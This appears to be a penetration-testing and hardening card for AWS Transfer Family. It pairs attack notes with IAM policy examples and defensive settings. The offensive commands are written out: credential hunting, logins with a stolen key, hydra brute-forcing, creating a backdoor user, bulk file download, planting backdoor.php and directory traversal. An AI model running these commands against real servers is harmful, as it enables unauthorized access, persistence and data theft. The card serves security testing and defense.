AWS Transfer Family provides managed SFTP, FTPS, FTP, and AS2 servers for file transfers to and from S3 or EFS. User credentials map to IAM roles for S3 access. Attackers target weak authentication, credential theft, and the underlying storage.
Transfer Family supports SFTP (SSH File Transfer Protocol), FTPS (FTP over TLS), FTP (unencrypted), and AS2 (B2B messaging). Each server can be configured with public or VPC endpoints for access control.
Attack note: FTP transmits credentials in cleartext - network sniffing or protocol downgrade attacks are viable
Users authenticate via SSH keys, passwords, or custom identity providers (Lambda/API Gateway). Each user maps to an IAM role that controls S3/EFS access. Home directories scope user access to specific paths.
Attack note: Overly permissive IAM roles or weak home directory scoping allows access beyond intended paths
Transfer Family exposes file transfer protocols to external users and partners. Compromised credentials provide direct access to S3 buckets or EFS file systems. The IAM role assumed by users can enable privilege escalation if misconfigured.
aws transfer list-serversaws transfer describe-server \
--server-id s-1234567890abcdef0aws transfer list-users \
--server-id s-1234567890abcdef0aws transfer describe-user \
--server-id s-1234567890abcdef0 \
--user-name ftpuseraws transfer describe-server \
--server-id s-1234567890abcdef0 \
--query 'Server.HostKeyFingerprint'Quick Win: Check ~/.ssh/config and FileZilla sitemanager.xml for saved Transfer Family credentials.
sftp -i ~/.ssh/stolen_key \
ftpuser@s-1234567890abcdef0.server.transfer.us-east-1.amazonaws.comsshpass -p 'password123' sftp \
ftpuser@s-xxx.server.transfer.us-east-1.amazonaws.comaws transfer describe-server \
--server-id s-1234567890abcdef0 \
--query 'Server.{Protocols:Protocols,Endpoint:EndpointType,Identity:IdentityProviderType}'aws transfer describe-user \
--server-id s-xxx \
--user-name ftpuser \
--query 'User.Role'hydra -L users.txt -P passwords.txt \
sftp://s-xxx.server.transfer.us-east-1.amazonaws.comaws transfer create-user \
--server-id s-xxx \
--user-name backdoor \
--role arn:aws:iam::ACCOUNT:role/TransferRole \
--ssh-public-key-body "ssh-rsa AAAA..."# After SFTP connection
sftp> get -r /# After SFTP connection
sftp> put backdoor.php /var/www/html/# After SFTP connection
sftp> ls -la /
sftp> ls -la ..# After SFTP connection
sftp> cd ../../../
sftp> ls -la{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
}]
}User can access any S3 bucket, not just their intended home directory
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": "arn:aws:s3:::bucket/home/${transfer:UserName}/*"
}]
}User can only access their specific home directory using session variable
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::company-data"
}]
}User can list entire bucket contents, discovering all files
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::company-data",
"Condition": {
"StringLike": {
"s3:prefix": "home/${transfer:UserName}/*"
}
}
}]
}User can only list their home directory, not other paths
Only enable SFTP or FTPS to ensure encrypted credential transmission.
aws transfer update-server \
--server-id s-xxx \
--protocols SFTPUse logical directory mappings to restrict user access to specific paths.
"HomeDirectoryMappings": [{
"Entry": "/",
"Target": "/bucket/home/${transfer:UserName}"
}]Disable password authentication and require SSH key pairs.
Use VPC endpoint instead of public endpoint to limit network exposure.
--endpoint-type VPC \
--vpc-id vpc-xxx \
--subnet-ids subnet-xxxEnable CloudWatch logging for all file operations and authentication events.
--structured-log-destinations \
arn:aws:logs:us-east-1:ACCOUNT:log-group:/aws/transfer/s-xxxUse security groups or Network ACLs to restrict source IP addresses.
AWS Transfer Family Security Card • Toc Consulting
Always obtain proper authorization before testing